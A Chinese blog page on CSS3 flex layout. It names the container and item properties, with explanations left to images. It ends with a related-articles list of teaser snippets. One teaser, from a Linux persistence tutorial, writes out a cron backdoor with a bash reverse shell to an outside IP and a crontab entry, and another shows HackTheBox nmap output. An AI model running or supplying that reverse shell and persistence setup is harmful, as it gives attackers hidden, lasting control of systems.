css3 flex弹性布局学习

news2024/11/28 4:27:52

一、flex基本概念
在这里插入图片描述

在这里插入图片描述
当开启flex布局后,项目默认沿主轴排列。单个项目占据的主轴空间叫做main size,占据的交叉轴空间叫做cross size。
二、容器的属性
以下6个属性设置在容器上。

flex-direction
flex-wrap
flex-flow
justify-content
align-items
align-content

(1)flex-direction
在这里插入图片描述
(2)flex-wrap
在这里插入图片描述
(3) flex-flow
在这里插入图片描述
(4)justify-content
在这里插入图片描述
(5)align-items
在这里插入图片描述
(6)align-content
在这里插入图片描述
三、项目的属性
以下6个属性设置在项目上。

order
flex-grow
flex-shrink
flex-basis
flex
align-self

(1)order属性
在这里插入图片描述
(2)flex-grow属性
在这里插入图片描述
(3)flex-shrink属性
在这里插入图片描述
(4)flex-basis属性
在这里插入图片描述
(5)flex属性
在这里插入图片描述
(6)align-self属性
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/550956.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LabVIEWCompactRIO 开发指南26 同步循环

LabVIEWCompactRIO 开发指南26 同步循环 对于大多数控制和监视应用,代码执行的时间对于系统的性能和可靠性非常重要。在此电机控制示例中,有两个不同的时钟信号:采样时钟和PID时钟。这些是在应用程序中生成的布尔信号,用于在循环…

【HackTheBox MonitorsTwo】打靶记录

信息搜集 1、nmap 扫描一波 └─# nmap -sC -sV 10.10.11.211 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 20:55 EDT Nmap scan report for 10.10.11.211 Host is up (0.25s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 2…

[NodeJS] 优缺点及适用场景讨论

概述: NodeJS宣称其目标是“旨在提供一种简单的构建可伸缩网络程序的方法”,那么它的出现是为了解决什么问题呢,它有什么优缺点以及它适用于什么场景呢? 本文就个人使用经验对这些问题进行探讨。 一. NodeJS的特点 我们先来看看N…

【数据结构】广度优先遍历(BFS)模板及其讲解

🎊专栏【数据结构】 🍔喜欢的诗句:更喜岷山千里雪 三军过后尽开颜。 🎆音乐分享【勋章】 大一同学小吉,欢迎并且感谢大家指出我的问题🥰 目录 🎁定义 🎁遍历方法 🎁根…

Hadoop基础学习---3、HDFS概述、HDFS的Shell操作、HDFS的API操作

1、HDFS概述 1.1 HDFS产出背景及定义 1、HDFS产生背景 随着数据量越来越大,在一个操作系统存不住所有的数据,那么就分配到更多的操作系统管理的磁盘中,但是不方便管理和维护,迫切需要一种系统来管理多台机器上的文件&#xff0c…

记 LCG 例题

文章目录 题一(seed,a,b,n,c)题二(a,b,n,c)题三(a,n,output[6],output[7])题四(n,output)题五(output)题六(output)题七(二元LCG)题八(三元LCG) (PS:网上有很多原理,这里就不过多赘述了&#xf…

【C++】 设计模式(单例模式、工厂模式)

文章目录 设计模式概念单例模式懒汉式方法一方法二总结 饿汉式单例模式的优点 工厂模式概念简单工厂工厂方法抽象工厂三种工厂方法的总结 设计模式 概念 设计模式是由先人总结的一些经验规则,被我们反复使用后、被多数人知晓认可的、然后经过分类编排,…

内网渗透之Linux权限维持-Rootkit后门Strace监控Alias别名Cron定时任务

0x01-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1.编辑后门反弹 vim /etc/.xiaodi.sh #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&1chmod x /etc/.1.sh2.添加定时任务 vim /etc/crontab */1 * * * * root /etc/.1.sh3.kali nc开启…

真题详解(语法分析输入记号流)-软件设计(八十)

真题详解(求叶子结点数)-软件设计(七十九)https://blog.csdn.net/ke1ying/article/details/130787349?spm1001.2014.3001.5501 极限编程XP最佳实践: 测试先行、 按日甚至按小时为客户提供可运行的版本。 组件图的 插座 和插头…

基于 SpringBoot + VUE 【爱音乐管理系统】 平台设计与实现

免费领取源码参考论文 基于SpringBoot VUE 【爱音乐管理系统】 博主介绍: 🚀自媒体 JavaPub 独立维护人,全网粉丝25w,csdn博客专家、java领域优质创作者,前51ctoTOP10博主,知乎/掘金/华为云/阿里云/InfoQ等…

017+C语言中函数栈帧的创建与销毁(VS2022环境)

0.前言 您好,这里是limou3434的一篇个人博文,感兴趣的话您也可以看看我的其他文章。本次我将和您一起学习在C语言中函数栈帧的概念。 1.学习函数栈帧的意义 局部变量是怎么穿创建的?为什么局部变量的值是随机的函数是怎么传参的&#xff1…

【Hadoop】四、Hadoop生态综合案例 ——陌陌聊天数据分析

文章目录 四、Hadoop生态综合案例 ——陌陌聊天数据分析1、陌陌聊天数据分析案例需求1.1、背景介绍1.2、目标需求1.3、数据内容 2、基于Hive数仓实现需求开发2.1、建库建表、加载数据2.2、ETL数据清洗2.3、需求指标统计 3、FineBI实现可视化报表3.1、FineBI的介绍及安装3.2、Fi…

CaDDN 论文学习

1. 解决了什么问题? 单目 3D 目标检测是自动驾驶的重要课题,与一般的多传感器系统相比,它具有简洁、成本低、易部署的优点。单目 3D 检测的主要挑战在于能否准确预测目标的深度。由于缺乏直接的测量手段,我们只能从目标和场景信息…

JavaWeb15 - 线程数据共享和安全 -ThreadLocal

1. 什么是 ThreadLocal ThreadLocal 的作用,可以实现在同一个线程数据共享, 从而解决多线程数据安全问题.ThreadLocal 可以给当前线程关联一个数据(普通变量、对象、数组)set 方法 [源码!]ThreadLocal 可以像 Map 一样存取数据,key 为当前线程, get 方法…

无屏幕时树莓派连接wifi

这种方式需要使用到1根网线有线连接,需要提前准备~ 按照以下步骤操作:   找到wifi然后右键选择“属性”,进入配置页面:   勾选“允许其他网络用户通过此计算机的internet连接”,然后确定,它会提示你…

论文阅读_语音合成_Spear-TTS

论文信息 number headings: auto, first-level 2, max 4, _.1.1 name_en: Speak, Read and Prompt: High-Fidelity Text-to-Speech with Minimal Supervision name_ch: 说话、阅读和提示:少量监督实现高保真文本转语音 paper_addr: http://arxiv.org/abs/2302.0354…

操作系统理解 什么事件可以造成进程的产生和消亡呢?当然有很多这样的事件。对于进程产生来说,主要的事件有:造成进程消亡的事件则可以分为四种情况:

目录 什么事件可以造成进程的产生和消亡呢?当然有很多这样的事件。对于进程产生来说,主要的事件有: 造成进程消亡的事件则可以分为四种情况: 好好理解计算机是人造的,这句话的含义,特别是计算机这是西方人…

【ChatGPT】人工智能发展的背后厉害:跌宕起伏的近百年

文章目录 前言一、麦卡洛克-皮特斯神经元二、赫布式学习三、感知机四、反向传播算法五、卷积神经网络六、递归神经网络七、通用计算GPU芯片八.生成式神经网络与大型语言模型总结 前言 今天,ChatGPT等大型语言预训练神经网络模型已经成为广为人知的名字,…

算法笔记:A2-A4-RSRQ切换算法

1 LTE 切换 LTE切换是移动通信网络中的一个过程,移动设备在保持无间断服务的情况下,将其连接从一个基站切换到另一个基站。当移动设备离开当前基站的覆盖范围或网络资源拥塞时,就需要进行切换。LTE切换通常是基于特定的条件触发的&#xff0…

Ansys Lumerical | FDTD 应用:设计光栅耦合器

本文将设计一个光栅耦合器,将光子芯片表面上的单模光纤连接到集成波导。内置粒子群优化工具用于最大化耦合效率,并使用组件S参数在 INTERCONNECT 中创建紧凑模型。还演示了如何使用 CML 编译器提取这些参数以生成紧凑模型。(联系我们获取文章…